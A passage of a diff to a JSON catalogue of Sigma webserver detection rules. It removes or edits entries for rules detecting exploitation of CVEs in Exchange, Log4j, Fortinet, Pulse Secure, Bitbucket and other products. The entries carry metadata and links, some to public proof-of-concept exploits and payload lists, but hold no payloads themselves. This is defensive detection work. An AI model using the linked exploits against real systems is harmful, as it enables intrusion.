"https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2022_27925_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "cve.2022.27925" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "dd218fb6-4d02-42dc-85f0-a0a376072efd", - "value": "Zimbra Collaboration Suite Email Server Unauthenticated RCE" - }, - { - "description": "Detects attempts to exploit the Atlassian Bitbucket Command Injection CVE-2022-36804", - "meta": { - "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/29", - "falsepositive": [ - "Web vulnerability scanners" - ], - "filename": "web_cve_2022_36804_atlassian_bitbucket_command_injection.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://blog.assetnote.io/2022/09/14/rce-in-bitbucket-server/", - "https://twitter.com/_0xf4n9x_/status/1572052954538192901", - "https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html", - "https://www.rapid7.com/blog/post/2022/09/20/cve-2022-36804-easily-exploitable-vulnerability-in-atlassian-bitbucket-server-and-data-center/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2022_36804_atlassian_bitbucket_command_injection.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "cve.2022.36804" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "65c0a0ab-d675-4441-bd6b-d3db226a2685", - "value": "Atlassian Bitbucket Command Injection Via Archive API" - }, { "description": "Detects SQL Injection attempts via GET requests in access logs", "meta": { - "author": "Saw Win Naung, Nasreddine Bencherchali", + "author": "Saw Win Naung, Nasreddine Bencherchali (Nextron Systems)", "creation_date": "2020/02/22", "falsepositive": [ "Java scripts and CSS Files", @@ -85239,10 +81438,10 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://brightsec.com/blog/sql-injection-payloads/", - "https://github.com/payloadbox/sql-injection-payload-list", - "https://www.acunetix.com/blog/articles/exploiting-sql-injection-example/", "https://www.acunetix.com/blog/articles/using-logs-to-investigate-a-web-application-attack/", + "https://brightsec.com/blog/sql-injection-payloads/", + "https://www.acunetix.com/blog/articles/exploiting-sql-injection-example/", + "https://github.com/payloadbox/sql-injection-payload-list", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_sql_injection_in_access_logs.yml" ], "tags": "No established tags" @@ -85250,247 +81449,6 @@ "uuid": "5513deaf-f49a-46c2-a6c8-3f111b5cb453", "value": "SQL Injection Strings" }, - { - "description": "Detects exploitation attempt of the OWASSRF variant targeting exchange servers using publicly available POC. It uses the OWA endpoint to access the powershell backend endpoint", - "meta": { - "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/22", - "falsepositive": [ - "Unlikely" - ], - "filename": "web_exchange_owassrf_poc_exploitation.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://twitter.com/purp1ew0lf/status/1602989967776808961?s=12&t=OkZJl_ViICeiftVEsohRyw", - "https://www.rapid7.com/blog/post/2022/12/21/cve-2022-41080-cve-2022-41082-rapid7-observed-exploitation-of-owassrf-in-exchange-for-rce/", - "https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_exchange_owassrf_poc_exploitation.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "92d78c63-5a5c-4c40-9b60-463810ffb082", - "value": "OWASSRF Exploitation Attempt Using Public POC - Webserver" - }, - { - "description": "Detects the exploitation of the Wazuh RCE vulnerability described in CVE-2021-26814", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/05/22", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2021_26814_wzuh_rce.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/WickdDavid/CVE-2021-26814/blob/6a17355a10ec4db771d0f112cbe031e418d829d5/PoC.py", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2021_26814_wzuh_rce.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "cve.2021.21978", - "cve.2021.26814" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "b9888738-29ed-4c54-96a4-f38c57b84bb3", - "value": "Exploitation of CVE-2021-26814 in Wazuh" - }, - { - "description": "Detects the potential exploitation attempt of CVE-2023-23752 an Improper access check, in web service endpoints in Joomla", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2023/02/23", - "falsepositive": [ - "Vulnerability scanners" - ], - "filename": "web_cve_2023_23752_joomla_exploit_attempt.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://twitter.com/momika233/status/1626464189261942786", - "https://xz.aliyun.com/t/12175", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2023_23752_joomla_exploit_attempt.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "cve.2023.23752" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "0e1ebc5a-15d0-4bf6-8199-b2535397433a", - "value": "Potential CVE-2023-23752 Exploitation Attempt" - }, - { - "description": "Detects exploitation attempt of the OWASSRF variant targeting exchange servers It uses the OWA endpoint to access the powershell backend endpoint", - "meta": { - "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/22", - "falsepositive": [ - "Web vulnerability scanners" - ], - "filename": "web_exchange_owassrf_exploitation.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://www.rapid7.com/blog/post/2022/12/21/cve-2022-41080-cve-2022-41082-rapid7-observed-exploitation-of-owassrf-in-exchange-for-rce/", - "https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_exchange_owassrf_exploitation.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "181f49fa-0b21-4665-a98c-a57025ebb8c7", - "value": "Potential OWASSRF Exploitation Attempt - Webserver" - }, - { - "description": "Detects a core dump of a crashing Nginx worker process, which could be a signal of a serious problem or exploitation attempts.", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/05/31", - "falsepositive": [ - "Serious issues with a configuration or plugin" - ], - "filename": "web_nginx_core_dump.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "No established product", - "refs": [ - "https://docs.nginx.com/nginx/admin-guide/monitoring/debugging/#enabling-core-dumps", - "https://www.x41-dsec.de/lab/advisories/x41-2021-002-nginx-resolver-copy/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_nginx_core_dump.yml" - ], - "tags": [ - "attack.impact", - "attack.t1499.004" - ] - }, - "related": [ - { - "dest-uuid": "2bee5ffb-7a7a-4119-b1f2-158151b19ac0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "59ec40bb-322e-40ab-808d-84fa690d7e56", - "value": "Nginx Core Dump" - }, - { - "description": "This rule detects exploitation attempts using Pulse Connect Secure(PCS) vulnerability (CVE-2021-22893)", - "meta": { - "author": "Sittikorn S", - "creation_date": "2021/06/29", - "falsepositive": [ - "Vulnerability Scanning" - ], - "filename": "web_cve_2021_22893_pulse_secure_rce_exploit.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html", - "https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2021_22893_pulse_secure_rce_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "5525edac-f599-4bfd-b926-3fa69860e766", - "value": "Pulse Connect Secure RCE Attack CVE-2021-22893" - }, - { - "description": "MODx manager - Local File Inclusion:Directory traversal vulnerability in manager/controllers/default/resource/tvs.php in MODx Revolution 2.0.2-pl, and possibly earlier,\nwhen magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the class_key parameter.\n", - "meta": { - "author": "Subhash Popuri (@pbssubhash)", - "creation_date": "2021/08/25", - "falsepositive": [ - "Scanning from Nuclei", - "Unknown" - ], - "filename": "web_cve_2010_5278_exploitation_attempt.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/projectdiscovery/nuclei-templates", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2010_5278_exploitation_attempt.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "a4a899e8-fd7a-49dd-b5a8-7044def72d61", - "value": "CVE-2010-5278 Exploitation Attempt" - }, { "description": "Detects source code enumeration that use GET requests by keyword searches in URL strings", "meta": { @@ -85504,8 +81462,8 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://medium.com/@logicbomb_1/bugbounty-how-i-was-able-to-download-the-source-code-of-indias-largest-telecom-service-52cf5c5640a1", "https://pentester.land/tutorials/2018/10/25/source-code-disclosure-via-exposed-git-folder.html", + "https://medium.com/@logicbomb_1/bugbounty-how-i-was-able-to-download-the-source-code-of-indias-largest-telecom-service-52cf5c5640a1", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_source_code_enumeration.yml" ], "tags": [ @@ -85525,217 +81483,6 @@ "uuid": "953d460b-f810-420a-97a2-cfca4c98e602", "value": "Source Code Enumeration Detection by Keyword" }, - { - "description": "Detects the exploitation attempt of the vulnerability found in F5 BIG-IP and described in CVE-2020-5902", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2020/07/05", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2020_5902_f5_bigip.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://support.f5.com/csp/article/K52145254", - "https://twitter.com/yorickkoster/status/1279709009151434754", - "https://www.ptsecurity.com/ww-en/about/news/f5-fixes-critical-vulnerability-discovered-by-positive-technologies-in-big-ip-application-delivery-controller/", - "https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2020_5902_f5_bigip.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "44b53b1c-e60f-4a7b-948e-3435a7918478", - "value": "CVE-2020-5902 F5 BIG-IP Exploitation Attempt" - }, - { - "description": "Detects the exploitation of VSphere Remote Code Execution vulnerability as described in CVE-2021-21972", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/02/24", - "falsepositive": [ - "OVA uploads to your VSphere appliance" - ], - "filename": "web_cve_2021_21972_vsphere_unauth_rce_exploit.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://swarm.ptsecurity.com/unauth-rce-vmware", - "https://f5.pm/go-59627.html", - "https://www.vmware.com/security/advisories/VMSA-2021-0002.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2021_21972_vsphere_unauth_rce_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "179ed852-0f9b-4009-93a7-68475910fd86", - "value": "CVE-2021-21972 VSphere Exploitation" - }, - { - "description": "Detects potential exploitation attempts that target the Cacti Command Injection CVE-2022-46169", - "meta": { - "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/27", - "falsepositive": [ - "Web vulnerability scanners" - ], - "filename": "web_cve_2022_46169_cacti_exploitation_attempt.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf", - "https://github.com/rapid7/metasploit-framework/pull/17407", - "https://github.com/0xf4n9x/CVE-2022-46169", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2022_46169_cacti_exploitation_attempt.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "cve.2022.46169" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "738cb115-881f-4df3-82cc-56ab02fc5192", - "value": "Potential CVE-2022-46169 Exploitation Attempt" - }, - { - "description": "Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 in different header fields found in web server logs (Log4Shell)", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/12/10", - "falsepositive": [ - "Vulnerability scanning" - ], - "filename": "web_cve_2021_44228_log4j_fields.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/tangxiaofeng7/apache-log4j-poc", - "https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b", - "https://github.com/YfryTchsGD/Log4jAttackSurface", - "https://www.lunasec.io/docs/blog/log4j-zero-day/", - "https://twitter.com/shutingrz/status/1469255861394866177?s=21", - "https://news.ycombinator.com/item?id=29504755", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2021_44228_log4j_fields.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "9be472ed-893c-4ec0-94da-312d2765f654", - "value": "Log4j RCE CVE-2021-44228 in Fields" - }, - { - "description": "Detects access to DEWMODE webshell as described in FIREEYE report", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/02/22", - "falsepositive": [ - "Unknown" - ], - "filename": "web_unc2546_dewmode_php_webshell.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://www.fireeye.com/blog/threat-research/2021/02/accellion-fta-exploited-for-data-theft-and-extortion.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_unc2546_dewmode_php_webshell.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ] - }, - "related": [ - { - "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "fdf96c90-42d5-4406-8a9c-14a2c9a016b5", - "value": "DEWMODE Webshell Access" - }, - { - "description": "Detects CVE-2019-11510 exploitation attempt - URI contains Guacamole", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/11/18", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2019_11510_pulsesecure_exploit.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://www.exploit-db.com/exploits/47297", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2019_11510_pulsesecure_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "2dbc10d7-a797-49a8-8776-49efa6442e60", - "value": "Pulse Secure Attack CVE-2019-11510" - }, { "description": "Detects possible Java payloads in web access logs", "meta": { @@ -85749,11 +81496,11 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://medium.com/geekculture/text4shell-exploit-walkthrough-ebc02a01f035", "https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/", - "https://twitter.com/httpvoid0x2f/status/1532924261035384832", - "https://github.com/httpvoid/writeups/blob/62d3751945289d088ccfdf4d0ffbf61598a2cd7d/Confluence-RCE.md", "https://www.rapid7.com/blog/post/2021/09/02/active-exploitation-of-confluence-server-cve-2021-26084/", + "https://twitter.com/httpvoid0x2f/status/1532924261035384832", + "https://medium.com/geekculture/text4shell-exploit-walkthrough-ebc02a01f035", + "https://github.com/httpvoid/writeups/blob/62d3751945289d088ccfdf4d0ffbf61598a2cd7d/Confluence-RCE.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_java_payload_in_access_logs.yml" ], "tags": [ @@ -85764,39 +81511,6 @@ "uuid": "583aa0a2-30b1-4d62-8bf3-ab73689efe6c", "value": "Java Payload Strings" }, - { - "description": "Detects successful exploitation of Exchange vulnerability as reported in CVE-2021-28480", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/05/14", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2021_28480_exchange_exploit.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://twitter.com/GossiTheDog/status/1392965209132871683?s=20", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2021_28480_exchange_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "a2a9d722-0acb-4096-bccc-daaf91a5037b", - "value": "Exchange Exploitation CVE-2021-28480" - }, { "description": "Detects XSS attempts injected via GET requests in access logs", "meta": { @@ -85821,41 +81535,6 @@ "uuid": "65354b83-a2ea-4ea6-8414-3ab38be0d409", "value": "Cross Site Scripting Strings" }, - { - "description": "Detects the exploitation of the WebLogic server vulnerability described in CVE-2021-2109", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/01/20", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2021_2109_weblogic_rce_exploit.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://mp.weixin.qq.com/s/wX9TMXl1KVWwB_k6EZOklw", - "https://twitter.com/pyn3rd/status/1351696768065409026", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2021_2109_weblogic_rce_exploit.yml" - ], - "tags": [ - "attack.t1190", - "attack.initial_access", - "cve.2021.2109" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "687f6504-7f44-4549-91fc-f07bab065821", - "value": "Oracle WebLogic Exploit CVE-2021-2109" - }, { "description": "Detects path traversal exploitation attempts", "meta": { @@ -85890,76 +81569,6 @@ "uuid": "7745c2ea-24a5-4290-b680-04359cb84b35", "value": "Path Traversal Exploitation Attempts" }, - { - "description": "Detects exploitation attempts of Sitecore Experience Platform Pre-Auth RCE CVE-2021-42237 found in Report.ashx", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/11/17", - "falsepositive": [ - "Vulnerability Scanning" - ], - "filename": "web_cve_2021_42237_sitecore_report_ashx.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://blog.assetnote.io/2021/11/02/sitecore-rce/", - "https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1000776", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2021_42237_sitecore_report_ashx.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "20c6ed1c-f7f0-4ea3-aa65-4f198e6acb0f", - "value": "Sitecore Pre-Auth RCE CVE-2021-42237" - }, - { - "description": "Detects attempts to exploit an apache spark server via CVE-2014-6287 from a weblogs perspective", - "meta": { - "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/19", - "falsepositive": [ - "Web vulnerability scanners" - ], - "filename": "web_cve_2022_33891_spark_shell_command_injection.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/W01fh4cker/cve-2022-33891/blob/fd973b56e78bca8822caa3a2e3cf1b5aff5d0950/cve_2022_33891_poc.py", - "https://sumsec.me/2022/CVE-2022-33891%20Apache%20Spark%20shell%20command%20injection.html", - "https://github.com/apache/spark/pull/36315/files", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2022_33891_spark_shell_command_injection.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "cve.2022.33891" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "1a9a04fd-02d1-465c-abad-d733fd409f9c", - "value": "Apache Spark Shell Command Injection - Weblogs" - }, { "description": "Detects known suspicious (default) user-agents related to scanning/recon tools", "meta": { @@ -85973,9 +81582,9 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ + "https://github.com/xmendez/wfuzz/blob/1b695ee9a87d66a7d7bf6cae70d60a33fae51541/docs/user/basicusage.rst", "https://github.com/wpscanteam/wpscan/blob/196fbab5b1ce3870a43515153d4f07878a89d410/lib/wpscan/browser.rb", "https://github.com/lanmaster53/recon-ng/blob/9e907dfe09fce2997f0301d746796408e01a60b7/recon/core/base.py#L92", - "https://github.com/xmendez/wfuzz/blob/1b695ee9a87d66a7d7bf6cae70d60a33fae51541/docs/user/basicusage.rst", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_susp_useragents.yml" ], "tags": [ @@ -85995,166 +81604,6 @@ "uuid": "19aa4f58-94ca-45ff-bc34-92e533c0994a", "value": "Suspicious User-Agents Related To Recon Tools" }, - { - "description": "Detects possible exploitation of VMware Workspace ONE Access Admin Remote Code Execution vulnerability as described in CVE-2022-31659", - "meta": { - "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/12", - "falsepositive": [ - "Vulnerability scanners", - "Legitimate access to the URI" - ], - "filename": "web_cve_2022_31659_vmware_rce.yml", - "level": "medium", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2022_31659_vmware_rce.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "efdb2003-a922-48aa-8f37-8b80021a9706", - "value": "CVE-2022-31659 VMware Workspace ONE Access RCE" - }, - { - "description": "Detects CVE-2018-13379 exploitation attempt against Fortinet SSL VPNs", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2020/12/08", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2018_13379_fortinet_preauth_read_exploit.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2018_13379_fortinet_preauth_read_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "a2e97350-4285-43f2-a63f-d0daff291738", - "value": "Fortinet CVE-2018-13379 Exploitation" - }, - { - "description": "Detects CVE-2021-22123 exploitation attempt against Fortinet WAFs", - "meta": { - "author": "Bhabesh Raj, Florian Roth", - "creation_date": "2021/08/19", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2021_22123_fortinet_exploit.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://www.rapid7.com/blog/post/2021/08/17/fortinet-fortiweb-os-command-injection", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_cve_2021_22123_fortinet_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "f425637f-891c-4191-a6c4-3bb1b70513b4", - "value": "Fortinet CVE-2021-22123 Exploitation" - }, - { - "description": "Detects URL patterns that could be found in ProxyShell exploitation attempts against Exchange servers (failed and successful)", - "meta": { - "author": "Florian Roth (Nextron Systems), Rich Warren", - "creation_date": "2021/08/07", - "falsepositive": [ - "Unknown" - ], - "filename": "web_exchange_proxyshell.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://youtu.be/5mqid-7zp8k?t=2231", - "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", - "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_exchange_proxyshell.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "23eee45e-933b-49f9-ae1b-df706d2d52ef", - "value": "Exchange ProxyShell Pattern" - }, - { - "description": "Detects URP patterns and status codes that indicate a successful ProxyShell exploitation attack against Exchange servers", - "meta": { - "author": "Florian Roth (Nextron Systems), Rich Warren", - "creation_date": "2021/08/09", - "falsepositive": [ - "Unknown" - ], - "filename": "web_exchange_proxyshell_successful.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://youtu.be/5mqid-7zp8k?t=2231", - "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", - "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_exchange_proxyshell_successful.yml" - ], - "tags": [ - "attack.initial_access" - ] - }, - "uuid": "992be1eb-e5da-437e-9a54-6d13b57bb4d8", - "value": "Successful Exchange ProxyShell Attack" - }, { "description": "Certain strings in the uri_query field when combined with null referer and null user agent can indicate activity associated with the webshell ReGeorg.", "meta": { @@ -86168,8 +81617,8 @@ "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ - "https://github.com/sensepost/reGeorg", "https://community.rsa.com/community/products/netwitness/blog/2019/02/19/web-shells-and-netwitness-part-3", + "https://github.com/sensepost/reGeorg", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_webshell_regeorg.yml" ], "tags": [ @@ -86189,403 +81638,6 @@ "uuid": "2ea44a60-cfda-11ea-87d0-0242ac130003", "value": "Webshell ReGeorg Detection Via Web Logs" }, - { - "description": "Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 (Log4Shell)", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/12/10", - "falsepositive": [ - "Vulnerability scanning" - ], - "filename": "web_cve_2021_44228_log4j.yml", 